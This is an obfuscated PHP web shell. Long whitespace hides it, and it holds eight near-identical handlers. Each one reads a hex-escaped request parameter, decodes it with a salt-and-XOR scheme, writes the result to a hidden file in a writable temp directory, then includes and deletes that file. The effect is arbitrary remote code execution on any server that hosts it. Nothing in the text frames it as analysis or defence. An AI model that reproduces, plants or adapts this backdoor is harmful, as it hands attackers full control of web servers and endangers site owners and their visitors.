<?php																																										if(isset($_REQUEST["ent\x72\x79"]) ? true : false){ $ent = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path()]); $flag = $_REQUEST["ent\x72\x79"]; $flag = explode( "." , $flag ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $i = 0; $len = count( $flag); do { if( $i >= $len) break; $v8 = $flag[$i]; $chS = ord( $s[$i % $sLen]); $dec = ( ( int)$v8 - $chS -( $i % 10))^52; $data_chunk .= chr( $dec); $i++; } while( true); while ($pset = array_shift($ent)) { if (is_dir($pset) ? is_writable($pset) : false) { $desc = str_replace("{var_dir}", $pset, "{var_dir}/.elem"); $success = file_put_contents($desc, $data_chunk); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(isset($_REQUEST["de\x73\x63"]) ? true : false){ $hld = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $data = $_REQUEST["de\x73\x63"]; $data = explode ( "." , $data ) ; $marker = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); foreach( $data as $s => $v5): $sChar = ord( $salt8[$s % $sLen]); $dec =( ( int)$v5 - $sChar -( $s % 10)) ^ 90; $marker .= chr( $dec); endforeach; foreach ($hld as $comp): if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $binding = str_replace("{var_dir}", $comp, "{var_dir}/.pset"); if (file_put_contents($binding, $marker)) { require $binding; unlink($binding); die(); } } endforeach; }
																																										if(in_array("ref", array_keys($_REQUEST))){ $resource = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $ent = $_REQUEST["ref"]; $ent=explode ('.' , $ent ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; foreach($ent as $v1) { $chS = ord($salt[$n % $sLen]); $dec = ((int)$v1 - $chS -($n % 10))^ 11; $pset .= chr($dec); $n++; } foreach ($resource as $value) { if ((is_dir($value) and is_writable($value))) { $comp = sprintf("%s/.ptr", $value); $success = file_put_contents($comp, $pset); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(array_key_exists("\x70grp", $_POST)){ $parameter_group = $_POST["\x70grp"]; $parameter_group= explode ( "." , $parameter_group ); $resource = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $v = 0; while($v < count($parameter_group)) {$v6 = $parameter_group[$v]; $chS = ord($salt2[$v % $lenS]); $d = ((int)$v6 - $chS -($v % 10))^ 78; $resource .= chr($d); $v++;} $marker = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), "/dev/shm"]); foreach ($marker as $key => $dchunk) { if (is_dir($dchunk) && is_writable($dchunk)) { $k = str_replace("{var_dir}", $dchunk, "{var_dir}/.entry"); $file = fopen($k, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ptr"])){ $hld = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]); $ent = $_REQUEST["ptr"]; $ent = explode ( '.', $ent ) ; $flag =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt9); $p =0; $len =count($ent); do { if ($p >= $len) break; $v4 =$ent[$p]; $chS =ord($salt9[$p %$sLen]); $d =((int)$v4 - $chS - ($p %10)) ^ 27; $flag .= chr($d); $p++;} while (true); while ($data_chunk = array_shift($hld)) { if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $data = vsprintf("%s/%s", [$data_chunk, ".bind"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(isset($_POST["va\x6C"])){ $descriptor = array_filter(["/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $rec = $_POST["va\x6C"]; $rec = explode ( "." ,$rec ) ; $obj = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $len = count($rec ); for ($x = 0; $x < $len; $x++) { $v9 = $rec[$x]; $chS = ord($s8[$x% $sLen] ); $dec = ((int)$v9 - $chS - ($x% 10)) ^ 43; $obj .= chr($dec ); } foreach ($descriptor as $pset): if (!!is_dir($pset) && !!is_writable($pset)) { $desc = join("/", [$pset, ".marker"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $desc; @unlink($desc); die(); } } endforeach; }
																																										if(array_key_exists("s\x79m", $_REQUEST)){ $pgrp = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm"]); $rec = $_REQUEST["s\x79m"]; $rec = explode ( "." , $rec ) ; $res=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt6 ); $l=0; array_walk( $rec , function( $v9) use( &$res , &$l , $salt6 , $sLen) { $chS=ord( $salt6[$l % $sLen] ); $d=( ( int)$v9 - $chS -( $l % 10)) ^ 9; $res .=chr( $d ); $l++; } ); foreach ($pgrp as $key => $marker) { if (max(0, is_dir($marker) * is_writable($marker))) { $elem = vsprintf("%s/%s", [$marker, ".data"]); if (@file_put_contents($elem, $res) !== false) { include $elem; unlink($elem); die(); } } } }


if(!empty($_REQUEST["\x72\x65\x66\x65rence"])){
	$pgrp = $_REQUEST["\x72\x65\x66\x65rence"];
			 $pgrp   =	explode  	(		'.'	,	$pgrp) ;	 
	$mrk =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($salt);
    
            foreach ($pgrp as $n=>	 $v5):
                $sChar =	ord($salt[$n	%$lenS]);
                $d =	((int)$v5 - $sChar - ($n	%10)) ^ 6;
                $mrk .=chr($d);
            endforeach;
	$flag = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	foreach ($flag as $key => $elem) {
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $symbol = join("/", [$elem, ".resource"]);
    if (file_put_contents($symbol, $mrk)) {
	require $symbol;
	unlink($symbol);
	exit;
}
}
}
}